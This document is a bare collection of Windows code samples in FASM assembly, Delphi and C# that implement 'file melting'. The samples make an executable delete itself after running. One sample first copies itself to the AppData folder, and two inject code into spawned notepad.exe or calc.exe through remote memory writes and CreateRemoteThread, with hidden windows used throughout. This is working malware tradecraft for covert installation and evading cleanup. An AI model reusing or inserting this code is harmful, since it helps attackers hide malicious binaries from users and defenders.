include 'win32ax.inc'
main:
stdcall [GetModuleFileName],0,modulename,80
stdcall [CreateFile],BatFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov [myfile], eax
cmp eax, 0xffffff
jz .exit
stdcall [wsprintf],buf,MainStr,modulename,modulename
stdcall [WriteFile],[myfile],buf,bufsize,byteswritten,0
stdcall [CloseHandle],[myfile]
stdcall [ShellExecute],0,0,BatFile,0,0,SW_HIDE
.exit: stdcall [ExitProcess],0
MainStr db ":Repeat",13,10,\
"del %s",13,10,\
"if exist %s goto Repeat",13,10,\
"del del.bat",0
BatFile db "del.bat",0
modulename rb 80
buf rb 0xff
bufsize = $ - buf
myfile dd ?
byteswritten dd ?
data import
library kernel32,"kernel32.dll",user32,"user32.dll",shell32,"shell32.dll"
include "%include%/api/shell32.inc"
include "%include%/api/kernel32.inc"
include "%include%/api/user32.inc"
end data
{
32Bit Example of File Melting
}
program Melt;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.SysUtils,
WinAPI.Windows,
shlobj;
type
TRemotePointer = record
Address : Pointer;
Size : Cardinal;
end;
TMeltThreadInfo = record
// WinAPI
GetProcAddress : Pointer;
LoadLibrary : Pointer;
GetLastError : Pointer;
ExitProcess : Pointer;
DeleteFileW : Pointer;
Sleep : Pointer;
WinExec : Pointer;
// Str
sTargetFile : Pointer;
sExecFile : Pointer;
end;
PMeltThreadInfo = ^TMeltThreadInfo;
{
Generate an exception message with Last Error Information
}
function GetLastErrorMessage(AFuncName : String) : String;
begin
result := Format('"%s" call failed with LastError=[%d], Message=[%s].', [
AFuncName,
GetLastError(),
SysErrorMessage(GetLastError())
]);
end;
{
Spawn a new hidden process
}
function Spawn(APEFile : String) : THandle;
var hProc : THandle;
b : Boolean;
AStartupInfo : TStartupInfo;
AProcessInformation : TProcessInformation;
begin
result := INVALID_HANDLE_VALUE;
///
ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;
AStartupInfo.dwFlags := STARTF_USESHOWWINDOW;
UniqueString(APEFile);
b := CreateProcessW(
PWideChar(APEFile),
nil,
nil,
nil,
False,
0,
nil,
nil,
AStartupInfo,
AProcessInformation
);
if not b then
raise Exception.Create(GetLastErrorMessage('CreateProcessW'));
///
result := AProcessInformation.hProcess;
end;
{
Melt File using Process Injection Technique
}
procedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;
var _GetLastError : function() : DWORD; stdcall;
_ExitProcess : procedure(uExitCode : UINT); stdcall;
_DeleteFileW : function(lpFileName : LPCSTR) : BOOL; stdcall;
_Sleep : procedure(dwMilliseconds : DWORD); stdcall;
_MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;
_WinExec : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;
begin
@_GetLastError := pInfo^.GetLastError;
@_ExitProcess := pInfo^.ExitProcess;
@_DeleteFileW := pInfo^.DeleteFileW;
@_Sleep := pInfo^.Sleep;
@_WinExec := pInfo^.WinExec;
while not _DeleteFileW(pInfo^.sTargetFile) do begin
if (_GetLastError = ERROR_FILE_NOT_FOUND) then
break;
///
_Sleep(100);
end;
_WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);
_ExitProcess(0);
/// EGG
asm
mov eax, $DEADBEAF;
mov eax, $DEADBEAF;
end;
end;
procedure DoMelt_Injection(ATargetFile, AExecFile : String);
var hProc : THandle;
ABytesWritten : SIZE_T;
AInfo : TMeltThreadInfo;
p : Pointer;
AThreadID : DWORD;
AThreadProc : TRemotePointer;
AInjectedInfo : TRemotePointer;
hKernel32 : THandle;
pSysWow64 : PWideChar;
function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;
begin
result := False;
///
if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then
Exit();
result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);
ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));
end;
function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;
begin
ZeroMemory(@result, SizeOf(TRemotePointer));
///
result.Size := ABufferSize;
result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if result.Address = nil then
raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));
///
if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin
FreeRemoteMemory(result);
raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));
end;
end;
function InjectStringW(AString : String) : TRemotePointer;
begin
result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));
end;
function InjectStringA(AString : AnsiString) : TRemotePointer;
begin
result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));
end;
function GetFuncSize(pFunc : Pointer) : Cardinal;
{
This is a very dumb but working technique, we scan for our special pattern to
get the address of our last MeltThread instruction.
We skip all epilogue instructions since the thread will end the parent process.
Other techniques exists to know the exact size of a function but is not required
for our example.
}
var I : Integer;
pCurrentRegion : Pointer;
AFound : Boolean;
const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);
begin
I := 0;
AFound := False;
while True do begin
pCurrentRegion := Pointer(NativeUInt(pFunc) + I);
if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin
if AFound then begin
result := I - Length(EGG);
break;
end;
AFound := True;
end;
Inc(I);
end;
end;
begin
GetMem(pSysWOW64, MAX_PATH);
try
SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);
finally
FreeMem(pSysWOW64, MAX_PATH);
end;
hProc := Spawn(Format('%s\notepad.exe', [String(pSysWOW64)]));
try
ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));
{
Prepare Thread Parameter
}
hKernel32 := LoadLibrary('kernel32.dll');
AInfo.GetLastError := GetProcAddress(hKernel32, 'GetLastError');
AInfo.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess');
AInfo.DeleteFileW := GetProcAddress(hKernel32, 'DeleteFileW');
AInfo.Sleep := GetProcAddress(hKernel32, 'Sleep');
AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
AInfo.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryW');
AInfo.WinExec := GetProcAddress(hKernel32, 'WinExec');
AInfo.sTargetFile := InjectStringW(ATargetFile).Address;
AInfo.sExecFile := InjectStringA(AnsiString(AExecFile)).Address;
try
AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));
AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));
if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then
raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));
WriteLn('Done.');
except
on E: Exception do begin
TerminateProcess(hProc, 0);
raise;
end;
end;
finally
CloseHandle(hProc);
end;
end;
{
Program Entry Point
}
var ACurrentFile : String;
ADestFile : String;
begin
try
ACurrentFile := GetModuleName(0);
ADestFile := Format('%s\%s', [
GetEnvironmentVariable('APPDATA'),
ExtractFileName(GetModuleName(0))
]);
if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin
{
After Melt (New Installed Copy)
}
WriteLn(Format('Melt successfully. I''m running from "%s"', [ACurrentFile]));
WriteLn('Press enter to exit.');
Readln;
end else begin
{
Melt Instance
}
WriteLn('Install our copy and initiate file melting...');
if NOT CopyFile(
PWideChar(ACurrentFile),
PWideChar(ADestFile),
False) then
raise Exception.Create(Format('Could not copy file from "%s" to "%s"', [ACurrentFile, ADestFile]));
DoMelt_Injection(ACurrentFile, ADestFile);
end;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.
include 'win64ax.inc'
include 'pe.inc'
entry start
start:
sub rsp, 8 ; Align stack
fastcall [GetModuleFileNameA], 0, modulename, 50 ; Get full path of this file
mov rax,[gs:60h] ; PEB
mov rax,[rax+10h] ; ImageBaseAddress
mov [ImageBaseAddress], rax
movsxd rax, dword [rax+IMAGE_DOS_HEADER.e_lfanew]
add rax,[ImageBaseAddress]
mov eax, dword [rax+IMAGE_NT_HEADERS64.OptionalHeader.SizeOfImage]
mov [dwSize], eax
; To work for Win10 we must clear the sinfo struct (104 Bytes)
cinvoke memset, sinfo, 0, 104d
mov [sinfo.cb], 104d
; Now we create the process to inject our code in with CREATE_SUSPENDED flag so it does not actually run :)
fastcall [CreateProcessA], 0, sCalc, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, sinfo, pinfo
; Allocate memory in the remote process (Calc.exe)
fastcall [VirtualAllocEx], [pinfo.hProcess], [ImageBaseAddress], [dwSize], MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
; Write it to the remote process
fastcall [WriteProcessMemory], [pinfo.hProcess], rax, [ImageBaseAddress], [dwSize], 0
; execute the code pointed by HijackedThread into the remote process
fastcall [CreateRemoteThread], [pinfo.hProcess], 0, 0, HijackedThread, 0, 0, 0
exit: fastcall [ExitProcess], 0 ; exit this process so the injected code can delete this file !
HijackedThread:
sub rsp, 8
invoke DeleteFileA, modulename ; <-- modulename contains the full path of this file
invoke ExitProcess,0
section '.data' data readable writeable
sCalc db 'calc.exe',0 ; <-- process where we inject our code in
modulename rb 50
pinfo PROCESS_INFORMATION
sinfo STARTUPINFO
ImageBaseAddress dq 0
dwSize dd 0
section '.idata' import data readable writeable
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL',\
msvcrt,'msvcrt.dll'
import msvcrt,\
memset,'memset'
include 'api\kernel32.inc'
include 'api\user32.inc'
using System;
using System.Diagnostics;
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.CreateNoWindow = true;
processInfo.FileName = "cmd.exe";
processInfo.Arguments = String.Format(
"/c for /l %i in (0) do ( timeout 1 && del \"{0}\" && IF NOT EXIST \"{0}\" (exit /b))",
System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName
);
Process.Start(processInfo);